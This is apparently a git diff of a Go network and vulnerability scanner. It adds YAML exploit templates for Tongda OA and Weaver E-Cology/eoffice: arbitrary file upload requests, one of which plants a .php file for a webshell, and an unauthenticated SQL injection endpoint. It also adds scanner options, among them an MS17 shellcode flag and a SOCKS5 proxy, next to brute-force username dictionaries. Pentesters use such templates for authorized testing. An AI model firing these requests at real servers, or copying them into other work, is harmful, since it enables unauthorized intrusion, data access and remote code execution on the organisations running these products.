expression: response.body.bcontains(b'RELOGIN') && response.status == 200
|
||||
detail:
|
||||
author: kzaopa(https://github.com/kzaopa)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ
|
||||
author: kzaopa(https://github.com/kzaopa)
|
||||
description: |
|
||||
通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统
|
||||
links:
|
||||
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html
|
||||
- https://www.cnblogs.com/T0uch/p/14475551.html
|
||||
- https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/
|
||||
|
|
|
@ -0,0 +1,50 @@
|
|||
name: tongda-v2017-uploadfile
|
||||
set:
|
||||
rand1: randomLowercase(12)
|
||||
fileContent: randomLowercase(12)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /module/ueditor/php/action_upload.php?action=uploadfile
|
||||
headers:
|
||||
Content-Type: multipart/form-data; boundary=55719851240137822763221368724
|
||||
body: |
|
||||
-----------------------------55719851240137822763221368724
|
||||
Content-Disposition: form-data; name="CONFIG[fileFieldName]"
|
||||
|
||||
ffff
|
||||
-----------------------------55719851240137822763221368724
|
||||
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
|
||||
|
||||
1000000000
|
||||
-----------------------------55719851240137822763221368724
|
||||
Content-Disposition: form-data; name="CONFIG[filePathFormat]"
|
||||
|
||||
tcmd
|
||||
-----------------------------55719851240137822763221368724
|
||||
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
|
||||
|
||||
.txt
|
||||
-----------------------------55719851240137822763221368724
|
||||
Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
{{fileContent}}
|
||||
-----------------------------55719851240137822763221368724
|
||||
Content-Disposition: form-data; name="mufile"
|
||||
|
||||
submit
|
||||
-----------------------------55719851240137822763221368724--
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: /{{rand1}}.txt
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(fileContent))
|
||||
detail:
|
||||
author: zan8in
|
||||
description: |
|
||||
通达OA v2017 action_upload.php 任意文件上传漏洞
|
||||
通达OA v2017 action_upload.php 文件过滤不足且无需后台权限,导致任意文件上传漏洞
|
||||
app="TDXK-通达OA"
|
||||
links:
|
||||
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html
|
|
@ -0,0 +1,13 @@
|
|||
name: poc-yaml-weaver-E-Cology-getSqlData-sqli
|
||||
rules:
|
||||
- method: GET
|
||||
path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'Microsoft SQL Server')
|
||||
|
||||
detail:
|
||||
author: PeiQi0
|
||||
links:
|
||||
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
|
||||
tags: weaver,sqli
|
|
@ -0,0 +1,25 @@
|
|||
name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell
|
||||
manual: true
|
||||
transport: http
|
||||
set:
|
||||
r1: randomLowercase(8)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
|
||||
headers:
|
||||
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
|
||||
body: |-
|
||||
--e64bdf16c554bbc109cecef6451c26a4
|
||||
Content-Disposition: form-data; name="Filedata"; filename="test.php"
|
||||
Content-Type: image/jpeg
|
||||
{{r1}}
|
||||
--e64bdf16c554bbc109cecef6451c26a4--
|
||||
expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php")
|
||||
- method: GET
|
||||
path: /images/logo/logo-eoffice.php
|
||||
follow_redirects: true
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(r1))
|
||||
detail:
|
||||
author: szd790056181
|
||||
links:
|
||||
- http://www.ctfiot.com/13682.html
|
|
@ -122,6 +122,7 @@ func ParseInput(Info *HostInfo) {
|
|||
if BruteThread <= 0 {
|
||||
BruteThread = 1
|
||||
}
|
||||
|
||||
if TmpOutputfile != "" {
|
||||
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
|
||||
Outputfile = getpath() + TmpOutputfile
|
||||
|
@ -129,9 +130,11 @@ func ParseInput(Info *HostInfo) {
|
|||
Outputfile = TmpOutputfile
|
||||
}
|
||||
}
|
||||
|
||||
if TmpSave == true {
|
||||
IsSave = false
|
||||
}
|
||||
|
||||
if Info.Ports == DefaultPorts {
|
||||
Info.Ports += "," + Webport
|
||||
}
|
||||
|
@ -157,6 +160,9 @@ func ParseInput(Info *HostInfo) {
|
|||
Passwords = append(Passwords, pass...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
}
|
||||
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||
}
|
||||
}
|
||||
|
||||
func ParseScantype(Info *HostInfo) {
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
package common
|
||||
|
||||
var version = "1.7.1"
|
||||
var version = "1.8.0"
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
|
@ -107,4 +107,5 @@ var (
|
|||
BruteThread int
|
||||
LiveTop int
|
||||
Socks5Proxy string
|
||||
PocFull bool
|
||||
)
|
||||
|
|
|
@ -51,13 +51,15 @@ func Flag(Info *HostInfo) {
|
|||
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
|
||||
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
|
||||
flag.BoolVar(&Silent, "silent", false, "silent scan")
|
||||
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
|
||||
flag.StringVar(&URL, "u", "", "url")
|
||||
flag.StringVar(&UrlFile, "uf", "", "urlfile")
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
||||
flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie")
|
||||
flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
|
||||
flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout")
|
||||
flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate")
|
||||
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
|
||||
flag.Parse()
|
||||
}
|
||||
|
|
5
go.mod
5
go.mod
|
@ -10,7 +10,7 @@ require (
|
|||
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
|
||||
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
|
||||
github.com/lib/pq v1.10.4
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca
|
||||
github.com/satori/go.uuid v1.2.0
|
||||
github.com/sijms/go-ora/v2 v2.2.16
|
||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
|
||||
github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
|
||||
|
@ -18,7 +18,8 @@ require (
|
|||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110
|
||||
golang.org/x/text v0.3.3
|
||||
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b
|
||||
gopkg.in/yaml.v2 v2.4.0
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
|
||||
)
|
||||
|
||||
replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3
|
||||
|
|
5
go.sum
5
go.sum
|
@ -188,8 +188,8 @@ github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6So
|
|||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca h1:NugYot0LIVPxTvN8n+Kvkn6TrbMyxQiuvKdEwFdR9vI=
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
|
||||
github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k=
|
||||
github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg=
|
||||
|
@ -386,6 +386,7 @@ gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bl
|
|||
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
|
|
Loading…
Reference in New Issue